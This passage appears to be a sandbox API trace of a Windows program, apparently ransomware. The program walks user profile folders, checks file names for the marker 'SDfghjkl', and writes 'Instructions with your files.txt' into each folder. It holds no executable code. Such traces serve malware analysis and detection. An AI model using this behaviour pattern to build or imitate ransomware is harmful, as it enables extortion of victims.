[0132.450] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1
[0132.450] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url") returned 65
[0132.450] StrStrIW (lpFirst="MSN Entertainment.url", lpSrch="SDfghjkl") returned 0x0
[0132.450] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1
[0132.450] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url") returned 57
[0132.450] StrStrIW (lpFirst="MSN Money.url", lpSrch="SDfghjkl") returned 0x0
[0132.450] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1
[0132.450] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url") returned 58
[0132.450] StrStrIW (lpFirst="MSN Sports.url", lpSrch="SDfghjkl") returned 0x0
[0132.450] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1
[0132.450] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url") returned 51
[0132.450] StrStrIW (lpFirst="MSN.url", lpSrch="SDfghjkl") returned 0x0
[0132.450] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1
[0132.450] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url") returned 58
[0132.450] StrStrIW (lpFirst="MSNBC News.url", lpSrch="SDfghjkl") returned 0x0
[0132.450] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0
[0132.450] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\Instructions with your files.txt") returned 76
[0132.450] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\Instructions with your files.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.451] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.451] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.452] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.452] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.452] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.452] CloseHandle (hObject=0x110) returned 1
[0132.452] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.452] GetProcessHeap () returned 0x810000
[0132.452] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.452] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1
[0132.452] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live") returned 43
[0132.452] GetProcessHeap () returned 0x810000
[0132.452] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.452] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\*") returned 45
[0132.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.456] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\.") returned 45
[0132.456] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.456] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\..") returned 46
[0132.457] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1
[0132.457] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url") returned 64
[0132.457] StrStrIW (lpFirst="Get Windows Live.url", lpSrch="SDfghjkl") returned 0x0
[0132.457] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1
[0132.457] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url") returned 68
[0132.457] StrStrIW (lpFirst="Windows Live Gallery.url", lpSrch="SDfghjkl") returned 0x0
[0132.457] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1
[0132.457] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url") returned 65
[0132.457] StrStrIW (lpFirst="Windows Live Mail.url", lpSrch="SDfghjkl") returned 0x0
[0132.457] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1
[0132.457] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url") returned 67
[0132.457] StrStrIW (lpFirst="Windows Live Spaces.url", lpSrch="SDfghjkl") returned 0x0
[0132.457] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0
[0132.457] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Instructions with your files.txt") returned 76
[0132.457] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Instructions with your files.txt" (normalized: "c:\\users\\default\\favorites\\windows live\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.457] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.459] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.459] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.460] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.460] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.460] CloseHandle (hObject=0x110) returned 1
[0132.460] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.460] GetProcessHeap () returned 0x810000
[0132.460] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.460] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0
[0132.460] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Instructions with your files.txt") returned 63
[0132.460] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Instructions with your files.txt" (normalized: "c:\\users\\default\\favorites\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.462] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.463] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.463] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.463] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.463] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.463] CloseHandle (hObject=0x10c) returned 1
[0132.463] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.463] GetProcessHeap () returned 0x810000
[0132.463] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.463] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
[0132.463] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links") returned 26
[0132.463] GetProcessHeap () returned 0x810000
[0132.463] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.463] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\*") returned 28
[0132.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Links\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.470] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\.") returned 28
[0132.470] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.504] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.504] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\..") returned 29
[0132.504] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.504] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.505] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\desktop.ini") returned 38
[0132.505] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.505] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1
[0132.505] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\Desktop.lnk") returned 38
[0132.505] StrStrIW (lpFirst="Desktop.lnk", lpSrch="SDfghjkl") returned 0x0
[0132.505] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1
[0132.505] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\Downloads.lnk") returned 40
[0132.505] StrStrIW (lpFirst="Downloads.lnk", lpSrch="SDfghjkl") returned 0x0
[0132.505] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1
[0132.505] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\RecentPlaces.lnk") returned 43
[0132.505] StrStrIW (lpFirst="RecentPlaces.lnk", lpSrch="SDfghjkl") returned 0x0
[0132.505] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0
[0132.505] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\Instructions with your files.txt") returned 59
[0132.505] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\Instructions with your files.txt" (normalized: "c:\\users\\default\\links\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.505] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.506] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.506] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.506] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
